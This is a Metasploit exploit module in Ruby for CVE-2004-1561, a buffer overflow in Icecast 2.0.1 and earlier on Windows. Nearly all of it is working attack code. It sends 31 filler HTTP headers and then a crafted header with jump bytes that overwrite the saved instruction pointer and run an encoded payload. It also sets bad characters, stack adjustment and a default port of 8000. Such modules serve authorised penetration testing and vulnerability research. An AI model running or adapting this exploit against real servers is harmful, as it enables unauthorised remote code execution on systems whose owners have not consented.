Icecast <= 2.0.1 - Header Overwrite (Win32)



##

# $Id: icecast_header.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Icecast (<= 2.0.1) Header Overwrite (win32)',
            'Description'    => %q{
                    This module exploits a buffer overflow in the header parsing
                of icecast, discovered by Luigi Auriemma.  Sending 32 HTTP
                headers will cause a write one past the end of a pointer
                array.  On win32 this happens to overwrite the saved
                instruction pointer, and on linux (depending on compiler,
                etc) this seems to generally overwrite nothing crucial (read
                not exploitable).

                !! This exploit uses ExitThread(), this will leave icecast
                thinking the thread is still in use, and the thread counter
                won't be decremented.  This means for each time your payload
                exits, the counter will be left incremented, and eventually
                the threadpool limit will be maxed.  So you can multihit,
                but only till you fill the threadpool.

            },
            'Author'         => [ 'spoonm', 'Luigi Auriemma <aluigi@autistici.org>' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9179 $',
            'References'     =>
                [
                    [ 'CVE', '2004-1561'],
                    [ 'OSVDB', '10406'],
                    [ 'BID', '11271'],
                    [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],
                ],
            'Privileged'     => false,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'Space'    => 2000,
                    'BadChars' => "\x0d\x0a\x00",
                    'DisableNops' => true,
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', { }],
                ],
            'DisclosureDate' => 'Sep 28 2004',
            'DefaultTarget' => 0))

        register_options(
            [
                Opt::RPORT(8000)
            ], self.class)
    end

    # Interesting that ebp is pushed after the local variables, and the line array
    # is right before the saved eip, so overrunning it just by 1 element overwrites
    # eip, making an interesting exploit....
    # .text:00414C00                 sub     esp, 94h
    # .text:00414C06                 push    ebx
    # .text:00414C07                 push    ebp
    # .text:00414C08                 push    esi

    def exploit
        connect

        # bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
        # jmp 12
        evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
        evul << "Accept: text/html\r\n" * 31;

        # jmp [esp+4]
        evul << "\xff\x64\x24\x04\r\n"
        evul << "\r\n"

        sock.put(evul)

        handler
        disconnect
    end

end